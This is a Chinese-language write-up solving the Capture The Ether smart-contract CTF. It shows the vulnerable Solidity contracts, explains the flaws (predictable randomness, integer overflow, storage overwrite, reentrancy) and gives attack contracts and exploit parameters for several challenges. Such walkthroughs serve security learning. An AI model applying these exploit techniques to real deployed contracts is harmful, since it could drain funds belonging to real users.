Capture The Ether

Guess the number

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
uint8 answer = 42;

function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Analysis

这道题只需要将42输入到guess()函数里,并向合约发送1 ether即可

Guess the secret number

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}

Analysis

这道题需要找到一个数字n,使其keccak256加密结果与answerHash相等,正常来说找到是基本不可能的,但由于这道题数字n大小限制为uint8,范围很小所以可以爆破出来。

Guess the random number

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Analysis

这道题只需要,通过web3库的getStorageAt(address,slot)去读取变量值即可

Guess the new number

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Analysis

这道题就是个伪随机数的问题,只需要我们在一次交易时,也使用这道题中伪随机数的方法获取n,输入即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14

pragma solidity ^0.4.21;
import "./GuessTheNewNumber.sol";
contract Poc {
GuessTheNewNumberChallenge target;
constructor(address _addr) public {
target = GuessTheNewNumberChallenge(_addr);
}
function pwn() public payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
target.guess.value(0.001 ether)(answer);
}
receive () public payable {}

Predict the future

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

Analysis

这道题第一眼看上去会以为很难,但再看会发现计算随机数那里对10取余了,所以只需要在0-9随便猜一个数多调用几次即可。

Predict the block hash

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

Analysis

这道题卡了我很久,之后经过搜索才知道,block.blockhash()只会返回最近256个区块的哈希值,只要猜测hash为0,在等待一段时间调用settle()即可

Token sale

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

Analysis

这道题考察的是算数溢出,当输入的numTokens足够大让其乘以PRICE_PER_TOKEN溢出,就可以只发送几wei就可以拥有很多token,再通过sell()拿走1 token即可

Token whale

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

Analysis

这道题的漏洞出在了_transfer(),它的余额扣除的不是from的,而是msg.sender的,我们就可以通过player授权给一个攻击合约,利用这个攻击合约调用transferFrom()fromto都填player即可,这样就会造成算数下溢,就会使攻击合约的余额很大,再转给player一部分即可

Retirement fund

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

Analysis

这道题是让我们转走这个合约的所有余额,很显然是让我们调用collectPenalty()这个函数转走所有钱了,因为withdraw()只能由owner调用,仔细分析只要我们能使withdrawn这个变量大于0即可,我们可以通过自毁函数来向这个合约发钱,使得这个合约的余额大于statrtBalance,至于为什么用自毁函数是因为这个合约没有接受函数,之后就会造成算数下溢,使得withdrawn大于0,就可以转走所有钱了

Attack

1
2
3
4
5
6
7
8
9
10
11
contract Attack{
RetirementFundChallenge target;

constructor(address _addr) public payable{
target = RetirementFundChallenge(_addr);
}

function attack() public{
selfdestruct(target);
}
}

Mapping

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.21;

contract MappingChallenge {
bool public isComplete;
uint256[] map;

function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}

map[key] = value;
}

function get(uint256 key) public view returns (uint256) {
return map[key];
}
}

Analysis

这道题考察的使数组溢出,先调用set()这个函数,传入参数115792089237316195423570985008687907853269984665640564039457584007913129639934,1,使得数组达到最大值,再通过2^256-keccak256(1)计算出isComplete的位置,再次调用set()函数,传入参数35707666377435648211887908874984608119992236509074197713628505308453184860938,1进行覆盖,就可以使isComplete变量值变为真

Donation

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.21;

contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);

owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

Analysis

这道题考察的是变量覆盖,当合约中一个临时的结构体变量未初始化时,对其赋值就会对合约的全局变量进行覆盖,所以这道题只需要调用donate(),传入的参数为自己的账户地址即可改变owner,需要注意的是传入value的多少要计算一下

Fifty years

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;

address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);

if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

Analysis

这道题看到结构体会先想到是变量覆盖,但是看到if里面会发现初始化了行不通,但在看else里面还是可以进行变量覆盖的,会覆盖动态结构体数组的长度和head,同时还会在里面发现漏洞timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days,这里存在一个溢出漏洞,我们要想方设法使得这里造成溢出,才能随时提出存款,并且还要使得最终timestamp0,否则head不为0,也无法提出所有存款,同时值得注意的一点是,变量覆盖时,如果我们给的msg.value值为1,但contribution.amount的值却为2,并且数组长度也为2,是因为后面进行了一个push操作,所以我们还要想办法处理掉这个的影响,否则会转账失败

Attack

1
2
3
upsert(2,115792089237316195423570985008687907853269984665640564039457584007913129553536) (value:1)
upsert(2,0) (value:1)
withdraw(1)

Fuzzy identity

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

Analysis

这道题考察的是对create2的运用,只需要写下一个攻击合约在合约的name()函数中返回值为bytes32("smarx"),并通过create2创建这个合约使它的地址包含badc0de

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Attack is IName{
function name() external view returns (bytes32){
return bytes32("smarx");
}

function attack(address _addr) public {
FuzzyIdentityChallenge(_addr).authenticate();
}
}

contract Deployer {
// contractBytecode是待部署合约的bytecode
address public a;
bytes code = hex"your code";
function deploy(uint salt) internal returns (address){
bytes memory bytecode = code;
address addr;

assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
return addr;
}
function get(uint salt)public {
a=deploy(salt);
}
}

Assume ownership

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;

function AssumeOwmershipChallenge() public {
owner = msg.sender;
}

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

Analysis

这道题看似是构造函数实则打错字了,直接调用即可

Token bank

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
pragma solidity ^0.4.21;

interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;

string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;

uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

event Transfer(address indexed from, address indexed to, uint256 value);

function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}

function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}

function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}

function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);

balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);

if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}

event Approval(address indexed owner, address indexed spender, uint256 value);

mapping(address => mapping(address => uint256)) public allowance;

function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}

function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);

balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}

contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;

function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();

// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}

function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}

function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);

balanceOf[from] += value;
}

function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);

require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}

Analysis

这道题考察的是重入漏洞,因为在withdraw()中是先transfer()再减去的balanceOf所以可以进行重入攻击,首先要将playertoken提出来并存入到攻击合约,再将攻击合约的token存入进去,才能利用withdraw

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Attack {
TokenBankChallenge public target = TokenBankChallenge(0xaE036c65C649172b43ef7156b009c6221B596B8b);
SimpleERC223Token public token = SimpleERC223Token(0x476915eBDb08CaeeDf98953D7c940146Ff5BAA94);
uint256 public i = 0;
function tokenFallback(address from, uint256 value, bytes data) public{
if(i<1){
i++;
target.withdraw(500000000000000000000000);
}
}
function attack1() public{
token.transfer(target,500000000000000000000000,"");
}
function attack2() public{
target.withdraw(500000000000000000000000);
}
function balancE() public view{
token.balanceOf(address(this));
}
}